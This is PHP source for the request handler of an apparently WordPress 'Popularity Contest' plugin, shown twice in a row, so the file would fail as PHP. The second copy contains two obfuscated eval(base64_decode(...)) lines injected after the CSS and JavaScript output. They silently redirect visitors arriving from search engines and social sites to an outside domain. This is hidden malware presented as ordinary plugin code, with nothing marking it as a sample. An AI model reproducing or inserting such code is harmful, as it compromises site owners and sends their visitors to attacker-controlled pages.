function akpc_request_handler()
    {
        if (!empty($_POST['ak_action'])) {
            switch ($_POST['ak_action']) {
                case 'update_popularity_values':
                    if (current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        $akpc->get_settings();
                        $akpc->update_settings();
                    }
                    break;
                case 'api_record_view':
                    akpc_api_record_view();
                    break;
                case 'akpc_add_tag':
                    if (!empty($_POST['tag']) && current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        if (strpos($_POST['tag'], ',')) {
                            $added_tags = explode(',', $_POST['tag']);
                        } else {
                            $added_tags = array($_POST['tag']);
                        }
                        $tag_reports = get_option('akpc_tag_reports');
                        if ($tag_reports == '') {
                            add_option('akpc_tag_reports');
                        }
                        $tags = maybe_unserialize($tag_reports);
                        if (!is_array($tags)) {
                            $tags = array();
                        }
                        foreach ($added_tags as $tag) {
                            $tag = sanitize_title_with_dashes(trim($tag));
                            if (!empty($tag)) {
                                if (in_array($tag, $tags)) {
                                    akpc_show_error('tag_report_already_added', $tag);
                                } else {
                                    if ($term = get_term_by('slug', $tag, 'post_tag')) {
                                        $tags[] = $tag;
                                        $akpc->show_report('tag', 10, 'yes', array('term_id' => $term->term_id, 'term_name' => $term->name));
                                    } else {
                                        akpc_show_error('tag_report_not_found', $tag);
                                    }
                                }
                            }
                        }
                        $tags = array_unique($tags);
                        update_option('akpc_tag_reports', $tags);
                    }
                    die;
                    break;
                case 'akpc_remove_tag':
                    if (!empty($_POST['tag']) && current_user_can('manage_options')) {
                        $tag = sanitize_title(trim($_POST['tag']));
                        if (!empty($tag)) {
                            $tags = maybe_unserialize(get_option('akpc_tag_reports'));
                            if (is_array($tags) && count($tags)) {
                                $new_tags = array();
                                foreach ($tags as $existing_tag) {
                                    if ($existing_tag != $tag) {
                                        $new_tags[] = $existing_tag;
                                    }
                                }
                                $tags = array_unique($new_tags);
                                update_option('akpc_tag_reports', $tags);
                            }
                        }
                    }
                    die;
                    break;
            }
        }
        if (!empty($_GET['ak_action'])) {
            switch ($_GET['ak_action']) {
                case 'api_record_view':
                    if (isset($_GET['id']) && ($id = intval($_GET['id']))) {
                        akpc_api_record_view($id);
                    }
                    break;
                case 'recount_feedback':
                    if (current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        $akpc->get_settings();
                        $akpc->recount_feedback();
                    }
                    break;
                case 'akpc_css':
                    header("Content-type: text/css");
                    ?>
.ak_wrap {
	padding-bottom: 40px;
}
#akpc_most_popular {
	height: 250px;
	overflow: auto;
	margin-bottom: 10px;
}
#akpc_most_popular .alternate {
	background: #efefef;
}
#akpc_most_popular td.right, #akpc_options_link {
	text-align: right;
}
#akpc_most_popular td {
	padding: 3px;
}
#akpc_most_popular td a {
	border: 0;
}
.akpc_report {
	float: left;
	margin: 5px 30px 20px 0;
	width: 220px;
}
.akpc_report h3 {
	border-bottom: 1px solid #999;
	color #333;
	margin: 0 0 4px 0;
	padding: 0 0 2px 0;
}
.akpc_report ol {
	margin: 0;
	padding: 0 0 0 30px;
}
.akpc_report ol li span {
	float: right;
}
.akpc_report ol li a {
	border: 0;
	display: block;
	margin: 0 30px 0 0;
}
.clear {
	clear: both;
	float: none;
}
#akpc_template_tags dl {
	margin-left: 10px;
}
#akpc_template_tags dl dt {
	font-weight: bold;
	margin: 0 0 5px 0;
}
#akpc_template_tags dl dd {
	margin: 0 0 15px 0;
	padding: 0 0 0 15px;
}
#akpc_options th {
	font-weight: normal;
	text-align: left;
}
#akpc_options input.number {
	width: 40px;
}
#akpc_report_tag_form {
	display: inline;
	padding-left: 20px;
}
#akpc_report_tag_form label, .akpc_saving {
	font: normal normal 12px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;
}
.akpc_saving {
	color: #999;
	display: none;
	padding: 5px;
}
#akpc_tag_reports h3 {
	padding-right: 20px;
}
#akpc_tag_reports a.remove {
	float: right;
}
#akpc_tag_reports .akpc_padded {
	color: #999;
	padding: 20px;
	text-align: center;
}
#akpc_tag_reports .none {
	background: #eee;
	text-align: left;
}
<?php 
                    die;
                    break;
                case 'akpc_js':
                    header('Content-type: text/javascript');
                    ?>
				var cf_widget_count = 0;
				jQuery(function($) {
					akpc_widget_js();
					setInterval('akpc_widget_check()', 500);
				});
				akpc_widget_js = function() {
					jQuery('select.akpc_pop_widget_type').unbind().change(function() {
						if (jQuery(this).val() == 'last_n') {
							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:hidden').slideDown();
						}
						else {
							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:visible').slideUp();
						}
					});
				}
				akpc_widget_check = function() {
					var current_count = jQuery('#widgets-right .widget-inside:visible, .widget-control-list .widget-list-control-item').size();
					if (current_count != cf_widget_count) {
						akpc_widget_js();
						cf_widget_count = current_count;
					}
				}
<?php 
                    die;
                    break;
            }
        }
    }
    function akpc_request_handler()
    {
        if (!empty($_POST['ak_action'])) {
            switch ($_POST['ak_action']) {
                case 'update_popularity_values':
                    if (current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        $akpc->get_settings();
                        $akpc->update_settings();
                    }
                    break;
                case 'api_record_view':
                    akpc_api_record_view();
                    break;
                case 'akpc_add_tag':
                    if (!empty($_POST['tag']) && current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        if (strpos($_POST['tag'], ',')) {
                            $added_tags = explode(',', $_POST['tag']);
                        } else {
                            $added_tags = array($_POST['tag']);
                        }
                        $tag_reports = get_option('akpc_tag_reports');
                        if ($tag_reports == '') {
                            add_option('akpc_tag_reports');
                        }
                        $tags = maybe_unserialize($tag_reports);
                        if (!is_array($tags)) {
                            $tags = array();
                        }
                        foreach ($added_tags as $tag) {
                            $tag = sanitize_title_with_dashes(trim($tag));
                            if (!empty($tag)) {
                                if (in_array($tag, $tags)) {
                                    akpc_show_error('tag_report_already_added', $tag);
                                } else {
                                    if ($term = get_term_by('slug', $tag, 'post_tag')) {
                                        $tags[] = $tag;
                                        $akpc->show_report('tag', 10, 'yes', array('term_id' => $term->term_id, 'term_name' => $term->name));
                                    } else {
                                        akpc_show_error('tag_report_not_found', $tag);
                                    }
                                }
                            }
                        }
                        $tags = array_unique($tags);
                        update_option('akpc_tag_reports', $tags);
                    }
                    die;
                    break;
                case 'akpc_remove_tag':
                    if (!empty($_POST['tag']) && current_user_can('manage_options')) {
                        $tag = sanitize_title(trim($_POST['tag']));
                        if (!empty($tag)) {
                            $tags = maybe_unserialize(get_option('akpc_tag_reports'));
                            if (is_array($tags) && count($tags)) {
                                $new_tags = array();
                                foreach ($tags as $existing_tag) {
                                    if ($existing_tag != $tag) {
                                        $new_tags[] = $existing_tag;
                                    }
                                }
                                $tags = array_unique($new_tags);
                                update_option('akpc_tag_reports', $tags);
                            }
                        }
                    }
                    die;
                    break;
            }
        }
        if (!empty($_GET['ak_action'])) {
            switch ($_GET['ak_action']) {
                case 'api_record_view':
                    if (isset($_GET['id']) && ($id = intval($_GET['id']))) {
                        akpc_api_record_view($id);
                    }
                    break;
                case 'recount_feedback':
                    if (current_user_can('manage_options')) {
                        $akpc = new ak_popularity_contest();
                        $akpc->get_settings();
                        $akpc->recount_feedback();
                    }
                    break;
                case 'akpc_css':
                    header("Content-type: text/css");
                    ?>
.ak_wrap {
	padding-bottom: 40px;
}
#akpc_most_popular {
	height: 250px;
	overflow: auto;
	margin-bottom: 10px;
}
#akpc_most_popular .alternate {
	background: #efefef;
}
#akpc_most_popular td.right, #akpc_options_link {
	text-align: right;
}
#akpc_most_popular td {
	padding: 3px;
}
#akpc_most_popular td a {
	border: 0;
}
.akpc_report {
	float: left;
	margin: 5px 30px 20px 0;
	width: 220px;
}
.akpc_report h3 {
	border-bottom: 1px solid #999;
	color #333;
	margin: 0 0 4px 0;
	padding: 0 0 2px 0;
}
.akpc_report ol {
	margin: 0;
	padding: 0 0 0 30px;
}
.akpc_report ol li span {
	float: right;
}
.akpc_report ol li a {
	border: 0;
	display: block;
	margin: 0 30px 0 0;
}
.clear {
	clear: both;
	float: none;
}
#akpc_template_tags dl {
	margin-left: 10px;
}
#akpc_template_tags dl dt {
	font-weight: bold;
	margin: 0 0 5px 0;
}
#akpc_template_tags dl dd {
	margin: 0 0 15px 0;
	padding: 0 0 0 15px;
}
#akpc_options th {
	font-weight: normal;
	text-align: left;
}
#akpc_options input.number {
	width: 40px;
}
#akpc_report_tag_form {
	display: inline;
	padding-left: 20px;
}
#akpc_report_tag_form label, .akpc_saving {
	font: normal normal 12px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;
}
.akpc_saving {
	color: #999;
	display: none;
	padding: 5px;
}
#akpc_tag_reports h3 {
	padding-right: 20px;
}
#akpc_tag_reports a.remove {
	float: right;
}
#akpc_tag_reports .akpc_padded {
	color: #999;
	padding: 20px;
	text-align: center;
}
#akpc_tag_reports .none {
	background: #eee;
	text-align: left;
}
<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    die;
                    break;
                case 'akpc_js':
                    header('Content-type: text/javascript');
                    ?>
				var cf_widget_count = 0;
				jQuery(function($) {
					akpc_widget_js();
					setInterval('akpc_widget_check()', 500);
				});
				akpc_widget_js = function() {
					jQuery('select.akpc_pop_widget_type').unbind().change(function() {
						if (jQuery(this).val() == 'last_n') {
							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:hidden').slideDown();
						}
						else {
							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:visible').slideUp();
						}
					});
				}
				akpc_widget_check = function() {
					var current_count = jQuery('#widgets-right .widget-inside:visible, .widget-control-list .widget-list-control-item').size();
					if (current_count != cf_widget_count) {
						akpc_widget_js();
						cf_widget_count = current_count;
					}
				}
<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWY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Oi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    die;
                    break;
            }
        }
    }